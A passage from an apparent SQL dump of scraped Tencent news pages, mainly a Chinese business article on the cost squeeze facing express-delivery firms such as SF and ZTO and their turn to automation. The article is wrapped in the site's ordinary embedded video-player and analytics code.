id=\'sports_video_Vip\'></div>\",r=\"<div id=\'sports_video_Vip_close\'>\\u2715</div><div class=\'sports_video_content\'><div style=\'color:#fff;font-size: 18px;margin-bottom: 30px;\'><b>\\u672c\\u7279\\u6743\\u4e3a\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u4e13\\u4eab</b></div><a href=\'http://vip.sports.qq.com/\' target=\'_blank\' style=\'background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportvip.png);display: block;width:221px;height: 43px;\'></a><div style=\'margin: 30px 0 5px;font-size: 15px;\'>\\u817e\\u8baf\\u4f53\\u80b2\\u4f1a\\u5458\\u7279\\u6743</div><li>NBA\\u3001NHL\\u7b49\\u8d5b\\u4e8b\\u72ec\\u5bb6\\u76f4\\u64ad</li><li>\\u4eab\\u53d7\\u514d\\u5e7f\\u544a\\u3001\\u84dd\\u5149\\u753b\\u8d28\\u3001\\u82f1\\u6587\\u539f\\u97f3</li><li>\\u70b9\\u51fb\\u201c\\u5f00\\u901a\\u201d\\u4e86\\u89e3\\u66f4\\u591a\\u7279\\u6743\\uff0c\\u5f00\\u901a\\u540e\\u8bf7\\u5237\\u65b0\\u672c\\u9875</li></div><div class=\'sports_video_code\'><div style=\'color:#fff;font-size: 12px;\'>\\u626b\\u4e00\\u626b\\u5f00\\u901a\\u4f53\\u80b2\\u4f1a\\u5458</div></div></div>\"+$(\"body\").append(o).append(n);$(\"#sports_video_Vip\").html(r),e(),$(window).resize(e)}$(\"#sports_video_mask,#sports_video_Vip_close\").click(function(){\"ad\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"closeSkipAd\"}),\"1080p\"==i&&t.trigger(\"1080pVipGuideClose\",{action:\"close1080p\"}),$(\"#sports_video_mask,#sports_video_Vip\").hide(),$(\"#sports_video_mask,#sports_video_Vip_close\").unbind(\"click\")}),$(\"#sports_video_mask,#sports_video_Vip\").show()}i.exports={sportVip:o,pop:n}},{}],9:[function(t,i,e){var o=t(\"./config\"),n=function(t,i){var e=document.head||document.getElementsByTagName(\"head\")[0]||document.documentElement,o=document.createElement(\"script\"),n=!1;o.async=!0,o.src=t,o.onload=o.onreadystatechange=function(){n||o.readyState&&!/loaded|complete/.test(o.readyState)||(n=!0,o.onload=o.onreadystatechange=null,o.parentNode&&o.parentNode.removeChild(o),o=null,\"function\"==typeof i&&i())},e.insertBefore(o,e.firstChild)},r=function(t){window.jQuery?t(window.jQuery):n(\"http://mat1.gtimg.com/libs/jquery/1.12.0/jquery.min.js\",function(){t(window.jQuery)})},a=function(){var t=function(){return t.get.apply(t,arguments)},i=t.utils={isArray:Array.isArray||function(t){return\"[object Array]\"===Object.prototype.toString.call(t)},isPlainObject:function(t){return!!t&&\"[object Object]\"===Object.prototype.toString.call(t)},toArray:function(t){return Array.prototype.slice.call(t)},getKeys:Object.keys||function(t){var i=[],e=\"\";for(e in t)t.hasOwnProperty(e)&&i.push(e);return i},escape:function(t){return String(t).replace(/[,;\"\\\\=\\s%]/g,function(t){return encodeURIComponent(t)})},retrieve:function(t,i){return null===t?i:t}};return t.defaults={},t.expiresMultiplier=86400,t.set=function(t,e,o){if(i.isPlainObject(t))for(var n in t)t.hasOwnProperty(n)&&this.set(n,t[n],e);else{o=i.isPlainObject(o)?o:{expires:o};var r=void 0!==o.expires?o.expires:this.defaults.expires||\"\",a=typeof r;\"string\"===a&&\"\"!==r?r=new Date(r):\"number\"===a&&(r=new Date(+new Date+1e3*this.expiresMultiplier*r)),\"\"!==r&&\"toGMTString\"in r&&(r=\";expires=\"+r.toGMTString());var l=o.path||this.defaults.path;l=l?\";path=\"+l:\"\";var s=o.domain||this.defaults.domain;s=s?\";domain=\"+s:\"\";var c=o.secure||this.defaults.secure?\";secure\":\"\";document.cookie=i.escape(t)+\"=\"+i.escape(e)+r+l+s+c}return this},t.remove=function(t){t=i.isArray(t)?t:i.toArray(arguments);for(var e=0,o=t.length;o>e;e++)this.set(t[e],\"\",-1);return this},t.empty=function(){return this.remove(i.getKeys(this.all()))},t.get=function(t,e){e=e||void 0;var o=this.all();if(i.isArray(t)){for(var n={},r=0,a=t.length;a>r;r++){var l=t[r];n[l]=i.retrieve(o[l],e)}return n}return i.retrieve(o[t],e)},t.all=function(){if(\"\"===document.cookie)return{};for(var t=document.cookie.split(\"; \"),i={},e=0,o=t.length;o>e;e++){var n,r,a=t[e].split(\"=\");try{n=decodeURIComponent(a[0])}catch(l){n=a[0]}try{r=decodeURIComponent(a[1])}catch(l){r=a[1]}i[n]=r}return i},t.enabled=function(){if(navigator.cookieEnabled)return!0;var i=\"_\"===t.set(\"_\",\"_\").get(\"_\");return t.remove(\"_\"),i},t}(),l=function(t,i){for(var e=0,o=\"\",n=0;n<t.length;n++)if(t.charCodeAt(n)>128?e+=2:e++,o+=t.charAt(n),e>=i)return o;return o},s=function(t,i){var e,o,n,r,a,l,s=c(function(){a=r=!1},i);return function(){e=this,o=arguments;var c=function(){n=null,a&&(l=t.apply(e,o)),s()};return n||(n=setTimeout(c,i)),r?a=!0:(r=!0,l=t.apply(e,o)),s(),l}},c=function(t,i,e){var o,n;return function(){var r=this,a=arguments,l=function(){o=null,e||(n=t.apply(r,a))},s=e&&!o;return clearTimeout(o),o=setTimeout(l,i),s&&(n=t.apply(r,a)),n}},d=function(){if(-1!==location.search.indexOf(\"debugv\")&&window.console){var t=Array.prototype.slice.call(arguments);t.unshift(\"[related_video_log]\"),console.log(t)}},u=function(t,i){return i=i||$.noop,\"string\"!=typeof t?void i(null):void $.ajax({method:\"GET\",url:\"http://data.video.qq.com/fcgi-bin/data\",data:{tid:\"25\",idlist:t,appid:\"10001009\",appkey:\"c5a3e1529a7ba805\",otype:\"json\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errorno)return void i(null);var e=[],o=t.results[0].fields,n=o.c_vids||o.c_vclips||[];$.each(n,function(t,i){e.push({vid:i.c_vid,title:i.c_title,pic:i.c_pic_160_90,url:i.c_play_url})}),i(e)}).fail(function(){i(null)})},p=function(t,i,e){return e=e||$.noop,i?(t=t||\"\",void $.ajax({method:\"GET\",url:\"http://like.video.qq.com/fcgi-bin/like\",data:{msgtype:\"122\",uin:t,id:i,playright:\"2\",pidx:\"0\",size:\"11\",otype:\"json\",tablist:\"9\"},dataType:\"jsonp\",cache:!0,scriptCharset:\"utf-8\"}).done(function(t){if(!t||t.errmsg||!t.tablist)return void e(null);var i=[];$.each(t.tablist[0].cover_info,function(t,e){i.push({vid:e.id,title:e.title,pic:e.picurl,url:e.playurl})}),e(i)}).fail(function(){e(null)})):void e(null)},f={on:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!0},off:function(){window.dc_playing_sign||(window.dc_playing_sign={}),window.dc_playing_sign[o.modName]=!1},isAnyonePlaying:function(){if(window.dc_playing_sign){for(var t in window.dc_playing_sign)if(t!==o.modName&&window.dc_playing_sign.hasOwnProperty(t)&&window.dc_playing_sign[t])return!0;return!1}return!1}},_={boss2619:function(t,i){var e=$.param({BossId:\"2619\",CheckSum:\"1312852225\",sIp:\"\",iQQ:a.get(\"o_cookie\")||\"\",sOp:t||\"\",sDomain:window.location.hostname||\"\",sUrl:window.location.href||\"\",sRef:window.document.referrer||\"\",vid:i||\"\",_dc:\"\"+Math.random()});(new Image).src=\"http://btrace.qq.com/kvcollect?\"+e}};i.exports={getScript:n,loadJquery:r,cookie:a,cutstr2:l,throttle:s,debounce:c,debug_log:d,getVideoListByCoverId:u,getLikeVideoList:p,playingGlobalSign:f,trace:_}},{\"./config\":2}],10:[function(t,i,e){var o=t(\"./tools\"),n=t(\"./config\"),n={};n.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1};var r={};r.$root=$(\".rv-js-root\"),r.$title=r.$root.find(\".rv-title a\"),r.$autoplay_sw=r.$root.find(\".rv-js-autoplay\"),r.$player_wrap=r.$root.find(\".rv-player-wrap\"),r.$player_mod=r.$player_wrap.find(\".rv-player-mod\"),r.$player_mini_ctrl=r.$player_wrap.find(\".rv-player-mini-ctrl\"),r.$playlist_node=r.$root.find(\".rv-playlist\"),r.$playlist_scol=r.$playlist_node.find(\".rv-playlist-scroller\"),r.$playlist_list=r.$playlist_node.find(\"ol.rv-playlist-list\"),r.$playlist_ctrl=r.$playlist_node.find(\".rv-playlist-ctrl a\"),r.$playlist_prev=r.$playlist_ctrl.filter(\".prev\"),r.$playlist_next=r.$playlist_ctrl.filter(\".next\");var a=function(){return{width:r.$player_mod.width(),height:r.$player_mod.height()}};e.setPlayerModId=function(t){r.$player_mod.attr(\"id\",t)},e.setTitle=function(t,i){return r.$title.html(t).attr(\"href\",i)};var l=function(){var t=\"enabled\",i=function(){r.$autoplay_sw.attr(\"bosszone\",function(){return o()?\"bofang_button_close\":\"bofang_button_open\"})},e=function(e){r.$autoplay_sw[e?\"addClass\":\"removeClass\"](t),i()},o=function(){return r.$autoplay_sw.hasClass(t)},n=function(e){var n=r.$autoplay_sw;n.on(\"click\",function(){n.toggleClass(t),\"function\"==typeof e&&e.call(null,o()),i()})};return{bind:n,setStatus:e,getStatus:o,updateBosszone:i}}();e.autoPlaySW=l;var s=function(){var t,i,e,n,a,l,s=function(){f(),r.$playlist_next.on(\"click\",function(){p(\"forward\")}),r.$playlist_prev.on(\"click\",function(){p(\"backward\")}),r.$playlist_scol.on(\"scroll\",o.throttle(function(){var i=r.$playlist_scol.scrollLeft(),e=\"disabled\";0===i||i===a||0>=a?(0===i&&r.$playlist_prev.addClass(e),(i===a||0>=a)&&r.$playlist_next.addClass(e)):r.$playlist_ctrl.removeClass(e),-1!==navigator.appVersion.indexOf(\"MSIE 7.\")&&t.css(\"visibility\",\"inherit\").css(\"visibility\",\"visible\")},50)),r.$playlist_scol.trigger(\"scroll\")},c=function(t){r.$playlist_scol.stop().animate({scrollLeft:parseInt(t,10)},500)},d=function(o){if(!(0>o||o>i-1)){var n=r.$playlist_scol;$item=t.filter(\":eq(\"+o+\")\"),c(n.scrollLeft()+$item.position().left-n.width()/2+e/2),l=o}},u=function(i){var e=\"current\";t.find(\"> a.\"+e).removeClass(e),t.filter(\":eq(\"+i+\")\").find(\"> a\").addClass(e)},p=function(t){var i,o=r.$playlist_scol,n=o.scrollLeft(),l=Math.round(.7*o.width());\"forward\"===t?i=n+l:\"backward\"===t&&(i=n-l),e>i?i=0:i>a-e&&(i=a),c(i)},f=function(){t=r.$playlist_list.find(\"> li\"),i=t.length,e=t.filter(\":eq(0)\").outerWidth(!0),n=r.$playlist_scol.width()/e,r.$playlist_list.css(\"width\",i*e),a=r.$playlist_list.outerWidth(!0)-r.$playlist_scol.width()};return{init:s,setCurrentToIdx:u,scrollToItemIdx:d,forward:function(){p(\"forward\")},backward:function(){p(\"backward\")},hide:function(){return r.$playlist_node.slideUp(300)},update:f}}();e.playlist=s;var c=function(){var t,i=!1,e=function(){var t={};t.top=r.$root.offset().top,t.btm=t.top+r.$root.height();var i={height:$(window).height(),scrollTop:$(window).scrollTop()},e=t.top>=i.scrollTop&&i.scrollTop+i.height>=t.top,o=t.btm>=i.scrollTop&&i.scrollTop+i.height>=t.btm,n=t.top<=i.scrollTop&&i.scrollTop+i.height<=t.btm;return!!(e||o||n)},l=function(){var t=$(\"#Main-Article-QQ\");if(t.length>0){var i=t.offset(),e=t.width();return 2*i.left+e===$(window).width()?e:!1}return!1},s=function(o){var n=i?!0:e();if(!(!0===t&&!0===n||!1===t&&!1===n)){if(r.$player_wrap.css(\"visibility\",\"hidden\").toggleClass(\"rv-player-mini\",!n),n)r.$player_wrap.css({\"margin-left\":\"\",left:\"\"}),o.unMute&&o.unMute(),u(o);else{if(window.ARTICLE_INFO&&1===window.ARTICLE_INFO.isUnique)r.$player_wrap.addClass(\"rv-player-mini-sp1\");else{var a=l();if(a){var s,d,p=r.$player_wrap.width(),_=($(window).width()-a)/2-10>=p;_?(s=0-a/2-r.$player_wrap.width()-10,d=\"50%\"):(s=0,d=0),r.$player_wrap.css({\"margin-left\":s,left:d})}}\"1\"!==f.get()&&(o.mute&&o.mute(),u(o))}c(o),r.$player_wrap.css(\"visibility\",\"visible\"),t=n}},c=function(t){var i=a().height;t.resize({height:i})},d=r.$player_mini_ctrl.find(\"a[data-action=mute]\"),u=function(t){t.isMuted&&(n.mute=!!t.isMuted(),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))},p=function(t){var e=function(){s(t)};$(window).scroll(e),$(window).resize(e),r.$player_mini_ctrl.on(\"click\",\"a[data-action=close]\",function(e){e.preventDefault(),i=!0,s.apply(this)(),t.pause()}),r.$player_mini_ctrl.on(\"click\",\"a[data-action=resize]\",function(i){i.preventDefault(),r.$player_wrap.toggleClass(\"rv-player-mini-big\"),c(t)}),u(t),d.click(function(){t.isMuted&&(t.isMuted()?(t.unMute(),f.on()):(t.mute(),f.off()),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))})},f={_configName:\"mini_unmute\",_config:null,_set:function(t){this._config=n[this._configName],o.cookie.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path})},get:function(){return this._config=n[this._configName],o.cookie.get(this._config.key)},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};return{detectVisible:e,init:p}}();e.scrollPlay=c,e.dom=r},{\"./config\":2,\"./tools\":9}]},{},[4]);</script><span>\n</span><span>\n\n</span><!-- /相关视频 --><span>\n\n\n\n\n\n\n\n\n</span><!--[if !IE]>|xGv00|d82f7a1238f1c1eaec2269b1b9ad1fc5<![endif]--><span>\n\n</span><p><strong>推广:更多精彩内容,请微信搜索关注公众号「腾讯科技」(ID:qqtech)。</strong></p><p align=\"center\"><img alt=\"全国“扫黄打非”办:今年将专项整治网络直播平台\" src=\"http://img1.gtimg.com/tech/pics/hv1/60/241/2186/142206165.jpg\"></p><span>\n</span></div>', '2017-03-03 02:04:14', '2017-03-03 02:04:14'); INSERT INTO `post` VALUES ('22', '快递业两头受堵:成本年年涨 谁先提价谁先死', 'http://p1yvzhu3t.bkt.clouddn.com/kuai.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><p align=\"center\"><img alt=\"快递业两头受堵:成本年年涨 谁先提价谁先死\" src=\"http://img1.gtimg.com/tech/pics/hv1/30/152/2190/142443540.jpg\"></p><p>每经记者 叶晓丹 李卓 每经编辑 罗伟</p><p>每年承运数亿件包裹的快递公司究竟有多赚钱?随着“通达系”(圆通、申通、中通、韵达)和顺丰5家快递公司2016年业绩快报/预告的陆续披露,答案也随之浮出了水面。</p><p>截至《每日经济新闻》记者发稿,从已披露的年报数据看,顺丰控股(002352,SZ)和中通快递(纽交所代码:ZTO)在扣除非经常性损益及调整后,分别实现净利润26.43亿元、21.65亿元。</p><p>或许外界会对快递公司的利润表示惊叹。不过,根据半年报显示,顺丰控股2016年上半年实现营业收入高达260.87亿元,但毛利率却仅为23.36%,净利率也仅有6.66%。</p><p>如果再对比一组数据,或许又有人会为这个行业的快递小哥表示担忧。有统计数据显示,中国快递均件收入已经从2005年的27.7元/件,下降到2012年的18.6元/件、2013年的15.69元/件、2014年的14.65元/件、2015年的13.4元/件,呈逐年下降趋势。</p><p>但是,稳居“世界第一快递大国”的中国快递业营收规模和业务量还在持续攀升。据国家邮政局数据,2016年中国快递行业业务量累计完成312.8亿件,同比增长51.3%,业务收入近4000亿元,同比增长43.5%。</p><p>在“剪刀差”不断扩大的背后,行业利润无疑将不可避免地流失。究其根本,“成本涨、提价难”已经成为当前快递业不可调和的矛盾。</p><p><strong>谁先涨价谁先死?</strong></p><p>说起快递成本,在《每日经济新闻》记者采访中,虽然大多数快递公司都以“商业秘密”为由婉拒,但据记者从业内了解,人力成本已经占到快递服务总成本的50%左右甚至更高,成为快递总成本的最大支出。</p><p>申通快递曾经在年报中解释,2015年主营业务毛利率较上年下降0.42%的主要原因,就是因为申通快递当期直接人工较上年增长31.14%。</p><p>快递物流网首席顾问徐勇告诉记者,人力成本上涨主要从工资收入、提成绩效、保险等几个维度来看,由于每家快递企业的计算方式不同,人力成本的衡量方式也会有所差异。</p><p>值得一提的是,就在近期,在“通达系”颇具代表性的中通快递发布2016年第四季财报,每股盈利不及市场预期。财报发布后,引发了机构对中通成本的高度关注。中通管理层对2017年第一季营收做出了更保守的预计,主要原因也是预计燃料和运输外包的成本将有所增长。</p><p>中通表示,在电商的旺季中,运输的成本出现了显著增加,这是导致季度毛利率下跌的主要原因。其实,早在2016年第四季度,就因为汽油费用大幅增加的缘故,导致运输成本大幅增加。同时由于市场上第三方货车短缺,也间接增加了运输成本。</p><p>至于“提价难”,不止一位业内人士对记者坦言,最根本原因依然在于行业延续多年的价格战。尤其伴随业务的同质化、竞争的资本化,价格战始终有越演越烈之势。即便上市以后,“谁先涨价谁先死”的魔咒依然无法打破。</p><p><strong>信息化自动化是趋势</strong></p><p>中国电子商务研究中心主任曹磊告诉《每日经济新闻》记者,要解决成本涨、提价难的问题,未来可能有这几个方向:从全球范围来看,人力成本太高在各个行业都是不争的事实,快递企业要提升规模效应,提高市场占有率,降低企业的边际成本;第二方面是提高物流行业的智能化,包括智能分拣、智能机器人等领域;此外,还可以利用众包思想发展众包物流。</p><p>记者注意到,从实际情况来看,各家快递企业也都在纷纷布局智慧物流市场,以此来“降本增效”。</p><p>中通快递在2016财报电话会议中表示,接下来会分别通过提高自动化的效率以及提高自由卡车数量来降低运输成本,进一步优化运输线路,提高车辆利用率。同时通过竞争招标和中央采购燃料供应降低燃料成本。此外,2017年还计划安装约40台自动化分拣装备,降低人工成本。最后,还将使用更多的回收纸制品,以降低纸张上面的成本。</p><p>在美国的快递行业,各企业普遍应用物流信息化技术,大大降低了运营成本。通过应用信息化管理系统,美国公路的空载率从十年前的20%左右降到了10%以下,物流成本占GDP比例下降到8.3%左右。</p><p>韵达股份方面认为,通过运输的信息化管理和生产和仓储的智能化操作,促使信息技术在物流行业广泛应用,将能有效解决传统快递产业成本高昂、效率低下的问题。</p><p>顺丰控股方面则表示,一方面通过物联网的建设促进运输智能化,抢占战略高地,从而节约运输成本,高运输效率;另一方面,通过无人机、车联网、便捷智能交互设备等下一代物流信息化技术的研发,实现自动化物流。</p><p>据此前媒体披露,顺丰正在珠三角地区大量测试无人机的配送效果,收集飞行数据,为将来整体运营、调试系统的搭建提供数据支撑。</p><p>而在无人机市场上,国外的一众快递巨头们也在纷纷试水,美国快递巨头UPS和德国航运公司DHL也在对无人机配送快件进行大量测试。有业内人士透露,无人机代替人工运送包裹不仅节约人力成本,也节约配送时间,只是在商用领域目前仍面临政策法规等诸多限制。</p><p>一名顺丰前员工向《每日经济新闻》记者透露,王卫在很多内部的讲话中说过,未来要改变物流业单纯依靠人力来赚取利益的方式,但能否真正实现这一愿望还有待时间验证。</p><p><strong>精彩视频推荐</strong></p><p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<!-- 相关视频 --> <!-- built at: Wed Jan 18 2017 16:25:45 GMT+0800 (中国标准时间) -->\n\n<script type=\"text/javascript\">\n var related_video_info = {\n vid: \'u0022qd2sl7\',\n cid: \'0uky2j575eso7pr\',\n url: \'http://v.qq.com/page/u/l/7/u0022qd2sl7.html\',\n pic: \'http://vpic.video.qq.com/20547853/u0022qd2sl7_ori_1.jpg\',\n title: \'八年后在中国能坐超级高铁?俞敏洪、盛希泰去帮你问了问\'\n };\n</script>\n\n\n<style type=\"text/css\">.rv-root-v2{font-family:\"\\5FAE\\8F6F\\96C5\\9ED1\",sans-serif;color:#000}.rv-root-v2 a{text-decoration:none;color:#000}.rv-root-v2 h1,.rv-root-v2 h2,.rv-root-v2 h3,.rv-root-v2 ol,.rv-root-v2 p,.rv-root-v2 ul{display:block;padding:0;margin:0}.rv-root-v2 img{border:0}.rv-root-v2 .rv-cf:after,.rv-root-v2 .rv-cf:before{content:\" \";display:table}.rv-root-v2 .rv-cf:after{clear:both}.rv-root-v2 .rv-cf{*zoom:1}.rv-root-v2 .rv-top{height:40px;line-height:40px;background-color:#f3f3f3}.rv-root-v2 .rv-top .rv-fold-btn{float:right;padding-left:20px;margin-right:16px;font-size:14px;background-image:url(http://mat1.gtimg.com/news/dc/images/fold.png);background-position:left center;background-repeat:no-repeat}.rv-root-v2 .rv-top .rv-autoplay{float:right;width:110px;margin-right:16px}.rv-root-v2 .rv-top .rv-autoplay span{font-size:14px;float:right}.rv-root-v2 .rv-top .rv-autoplay a{float:right;display:block;width:32px;height:18px;padding:2px;margin-top:10px;margin-left:12px;border-radius:10px;font-size:0;text-indent:-9999px;cursor:pointer;background-color:#CCC;transition:background .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a i{display:block;width:18px;height:18px;border-radius:50%;background-color:#fff;margin-left:0;box-shadow:1px 1px 3px rgba(0,0,0,.6);transition:all .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a:hover{background-color:#d9d9d9}.rv-root-v2 .rv-top .rv-autoplay a.enabled{background-color:#006cb7}.rv-root-v2 .rv-top .rv-autoplay a.enabled i{margin-left:14px}.rv-root-v2 .rv-top .rv-autoplay a.enabled:hover{background-color:#007bd1}.rv-root-v2 .rv-top .rv-autoplay a:active i{box-shadow:none}.rv-root-v2 .rv-top .rv-title{overflow:hidden}.rv-root-v2 .rv-top .rv-title a{display:block;font-size:18px;font-weight:400;text-indent:12px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;color:#000}.rv-root-v2 .rv-top .rv-title a:hover{color:#cd0000;text-decoration:underline}.rv-root-v2 .rv-middle .rv-player{position:relative;min-height:360px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap{position:absolute;width:100%;height:100%;top:0;left:0;background-color:#000;box-shadow:inset 0 0 20px rgba(0,0,0,.6)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod{position:relative;width:100%;height:100%}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .rv-player-loading{width:100%;height:100%;text-align:center;color:#999;font-family:verdana,arial,sans-serif}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .tvp_titles{display:none}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl{display:none;position:absolute;right:0;z-index:99;bottom:18px;width:30px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{display:block;margin-top:3px;width:30px;height:30px;line-height:30px;background-color:#000;background-color:rgba(0,0,0,.6);background-image:url(http://mat1.gtimg.com/news/dc/images/rv_mini_sprites_v2.png);background-repeat:no-repeat;text-align:center}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize:hover{color:#FFF;background-color:#000;background-color:rgba(0,0,0,.9)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-off{background-position:0 -150px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-on{background-position:0 -180px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close{background-position:0 0}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{background-position:0 -30px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini{position:fixed;width:270px;height:170px;left:0;bottom:0;top:auto;z-index:99;box-shadow:0 0 3px rgba(0,0,0,.3)}.rv-root-v2 .rv-middle .rv-player .rv-player-mini .rv-player-mini-ctrl{display:block}@media only screen and (min-width:1300px){.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-sp1{left:50%;margin-left:-692px}}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big{width:640px;height:378px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big .rv-player-mini-ctrl-resize{background-position:0 -60px}.rv-root-v2 .rv-middle .rv-playlist{height:100px;background-color:#2f2f2f}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl{position:relative;width:100%;height:0;z-index:2}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a{display:block;position:absolute;top:0;width:17px;height:100px;line-height:100px;font-size:14px;font-weight:700;font-family:NanumMyeongjo,\"\\5B8B\\4F53\",sans-serif;text-align:center;color:#a3a3a3;background-color:#2f2f2f;background-color:rgba(47,47,47,.8);cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a:hover{background-color:#494949;background-color:rgba(73,73,73,.8)}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled{cursor:not-allowed;color:#505050}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled:hover{background-color:#2f2f2f;background-color:rgba(47,47,47,.8);box-shadow:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .prev{left:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .next{right:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap{height:100px;width:100%;overflow:hidden;position:relative;z-index:1}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller{height:130px;width:100%;overflow-y:hidden;overflow-x:scroll;-webkit-overflow-scrolling:touch}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list{width:9999px;padding:0 17px;list-style:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li{display:block;float:left}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a{display:block;position:relative;width:160px;height:90px;padding:5px;cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a img{width:100%;height:100%;opacity:0;transition:opacity .3s ease-out;vertical-align:top}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div{position:absolute;width:100%;left:0;bottom:0;font-size:12px;line-height:18px}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span{display:block;height:18px;margin:5px;padding:5px 10px 2px;overflow:hidden;font-family:Arial,sans-serif;color:#ababab;background-color:rgba(0,0,0,.8);-ms-filter:\"progid:DXImageTransform.Microsoft.gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\')\";filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\');-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span:not([dummy]){filter:progid:DXImageTransform.Microsoft.Gradient(enabled=\'false\')}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current{background:#101010}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current div span{color:#ff6d1a}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover{background:#252525}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover div span{height:36px}@media only screen and (min-width:1260px){.rv-adjust-wide-article{width:895px;margin-left:-97px}}#sports_video_mask{position:fixed;top:0;left:0;background:#000;opacity:.5;z-index:100;filter:alpha(opacity=50)}#sports_video_Vip{width:560px;height:320px;overflow:hidden;box-shadow:0 0 10px #fff;position:fixed;z-index:101;background:rgba(0,0,0,.8);filter:progid:DXImageTransform.Microsoft.gradient(startcolorstr=#CF000000, 0, endcolorstr=#CF000000, 0)}#sports_video_Vip #sports_video_Vip_close{position:absolute;padding:10px;top:0;right:0;color:#fff;cursor:pointer;font-size:16px}#sports_video_Vip .sports_video_code{position:absolute;width:114px;padding-top:124px;text-align:center;background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportVip2code.png) no-repeat;top:88px;right:40px}#sports_video_Vip .sports_video_content{color:#b6b6b6;width:320px;margin-left:50px;line-height:1.5;font-size:13px;top:48px;border-right:2px dashed #5d5d5d;position:relative}</style>\n</p><span>\n</span><script>!function t(i,e,o){function n(a,l){if(!e[a]){if(!i[a]){var s=\"function\"==typeof require&&require;if(!l&&s)return s(a,!0);if(r)return r(a,!0);throw new Error(\"Cannot find module \'\"+a+\"\'\")}var c=e[a]={exports:{}};i[a][0].call(c.exports,function(t){var e=i[a][1][t];return n(e?e:t)},c,c.exports,t,i,e,o)}return e[a].exports}for(var r=\"function\"==typeof require&&require,a=0;a<o.length;a++)n(o[a]);return n}({1:[function(t,i,e){function o(t){var i=!1,e=s.get();if(!0===r.playingGlobalSign.isAnyonePlaying()||\"0\"===e)return t(!1);if(\"1\"===e)return t(!0);if(l){var o=(new 